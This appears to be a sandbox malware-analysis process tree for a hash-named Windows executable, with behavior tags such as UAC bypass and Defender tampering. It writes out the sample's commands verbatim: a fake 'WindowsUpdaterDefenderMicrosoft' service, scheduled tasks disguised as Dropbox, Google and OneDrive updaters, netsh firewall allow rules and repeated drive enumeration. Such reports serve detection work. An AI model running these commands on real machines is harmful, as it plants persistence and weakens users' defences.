C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /D9⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /S9⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S8⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"8⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D8⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"8⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S8⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_1bae56a1" /F8⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_1bae56a1" /XML "C:\Users\Admin\AppData\Local\Temp\421d6fdc-398f-492c-ad53-b127d264e833.xml" /F8⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_39918f8f" /F8⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_39918f8f" /XML "C:\Users\Admin\AppData\Local\Temp\dcc9b959-85c7-4af9-82b0-d35daa898566.xml" /F8⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "User_Feed_Synchronization-12b84491-1760-46ed-8d81-59d543c9a9da" /F8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D8⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "User_Feed_Synchronization-12b84491-1760-46ed-8d81-59d543c9a9da" /XML "C:\Users\Admin\AppData\Local\Temp\5f1912ee-6729-424a-9556-2b3de39cb971.xml" /F8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /D8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /S8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /D8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /S8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /D8⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /S8⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D7⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S7⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"7⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"7⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"7⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Consolidator_c38f38ec" /F7⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Consolidator_c38f38ec" /XML "C:\Users\Admin\AppData\Local\Temp\d652cb73-54fa-40c7-b812-8f14dd3db123.xml" /F7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S7⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_ef6ab9f5" /F7⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_ef6ab9f5" /XML "C:\Users\Admin\AppData\Local\Temp\ead8ea69-82fa-4221-ade5-f2c692d573dc.xml" /F7⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "GoogleUpdateTaskMachineCore_e7cc430a" /F7⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "GoogleUpdateTaskMachineCore_e7cc430a" /XML "C:\Users\Admin\AppData\Local\Temp\f52a09e0-f4b4-49e2-9c58-8aa1e1fdabfd.xml" /F7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /S7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /D7⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /S7⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D6⤵
- Enumerates connected drives
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D6⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D6⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S6⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"6⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"6⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"6⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_cd1255c8" /F6⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_cd1255c8" /XML "C:\Users\Admin\AppData\Local\Temp\87b4d3d0-89dd-435b-8a5f-280a002f54a5.xml" /F6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S6⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "DropboxUpdateTaskMachineCore_aeb74e56" /F6⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "DropboxUpdateTaskMachineCore_aeb74e56" /XML "C:\Users\Admin\AppData\Local\Temp\7267b567-4538-40bb-8494-8f1b4230f666.xml" /F6⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "StartupAppTask_d24792af" /F6⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "StartupAppTask_d24792af" /XML "C:\Users\Admin\AppData\Local\Temp\eb7a0165-8a55-48eb-afca-f655f60ab60f.xml" /F6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /D6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /S6⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /D6⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D5⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D5⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D5⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D5⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D5⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D5⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S5⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"5⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "CCleanerSkipUAC_6e9e19e3" /F5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "CCleanerSkipUAC_6e9e19e3" /XML "C:\Users\Admin\AppData\Local\Temp\5f0de851-4869-4aab-ab21-e9cabb6d311a.xml" /F5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "OneDrive Standalone Update Task_83b18400" /F5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "OneDrive Standalone Update Task_83b18400" /XML "C:\Users\Admin\AppData\Local\Temp\b9455017-870d-4ef3-929a-8f4879b4102f.xml" /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "CCleanerSkipUAC_e2c681d8" /F5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "CCleanerSkipUAC_e2c681d8" /XML "C:\Users\Admin\AppData\Local\Temp\1a4db84c-83c9-4ee8-8b0a-a29c8ecec8c0.xml" /F5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /D5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" N: /D5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" O: /D5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" P: /D5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" Q: /D5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" R: /D5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" S: /D5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" T: /D5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" U: /D5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" V: /D5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" W: /D5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /S5⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" X: /D5⤵
-
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" E: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" F: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" G: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" H: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /S4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" I: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /S4⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"4⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\Runtime Broker.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"4⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" J: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /S4⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" K: /D4⤵
- Enumerates connected drives
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /S4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_249ba740" /F4⤵
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" L: /D4⤵
-
-
C:\Windows\CMD.exe"CMD" /c schtasks /delete /F /TN "sihost" & exit4⤵
-
-
C:\Windows\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /tn "sihost" /tr "C:\Windows\Runtime Broker.exe" & exit4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Create /TN "Microsoft Compatibility Appraiser_249ba740" /XML "C:\Users\Admin\AppData\Local\Temp\5ec02271-158b-4972-add7-a2a64dcb0e97.xml" /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" M: /S4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /Delete /TN "StartupAppTask_c8d33106" /F4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\x8264bd622c71045f6951144972f9aa4e5cb664d84cf56efbf885e79486cf11f8.exeC:\Users\Admin\AppData\Local\Temp\x8264bd622c71045f6951144972f9aa4e5cb664d84cf56efbf885e79486cf11f8.exe1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\system32\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\x8264bd622c71045f6951144972f9aa4e5cb664d84cf56efbf885e79486cf11f8.exe" enable=yes & exit2⤵
-
C:\Windows\System32\netsh.exenetsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\x8264bd622c71045f6951144972f9aa4e5cb664d84cf56efbf885e79486cf11f8.exe" enable=yes3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S2⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"2⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\x8264bd622c71045f6951144972f9aa4e5cb664d84cf56efbf885e79486cf11f8.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"2⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "GoogleUpdateTaskMachineCore_d8e2cc54" /F2⤵
-
-
C:\Windows\system32\CMD.exe"CMD" /c schtasks /delete /F /TN "sihost" & exit2⤵
-
C:\Windows\System32\schtasks.exeschtasks /delete /F /TN "sihost"3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /tn "sihost" /tr "C:\Windows\Runtime Broker.exe" & exit2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /f /sc onlogon /tn "sihost" /tr "C:\Windows\Runtime Broker.exe"3⤵
-
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Create /TN "GoogleUpdateTaskMachineCore_d8e2cc54" /XML "C:\Windows\SystemTemp\5e36d8d2-5dc7-4bd5-b49e-cf8d77391ae0.xml" /F2⤵
-
-
C:\Windows\Runtime Broker.exe"C:\Windows\Runtime Broker.exe"2⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Checks whether UAC is enabled
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Runtime Broker.exe" enable=yes & exit3⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Drops file in Windows directory
- System Time Discovery
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit4⤵
- Executes dropped EXE
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit5⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit6⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit7⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit8⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit9⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit10⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit11⤵
-
C:\Windows\cmd.exe"cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\cmd.exe" enable=yes & exit12⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S12⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S11⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D11⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S11⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D11⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S11⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S10⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D10⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S10⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D10⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S10⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D10⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S10⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D10⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S10⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"10⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"10⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"10⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D10⤵
-
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /S9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" E: /D9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /S9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" F: /D9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /S9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" G: /D9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /S9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" H: /D9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /S9⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" delete "WindowsUpdaterDefenderMicrosoft"9⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\cmd.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" I: /D9⤵
-
-
C:\Windows\system32\sc.exe"sc.exe" start "WindowsUpdaterDefenderMicrosoft"9⤵
-
-
C:\Windows\system32\mountvol.exe"mountvol" J: /S9⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /Delete /TN "Microsoft Compatibility Appraiser_27ded1e0" /F9⤵
-
-
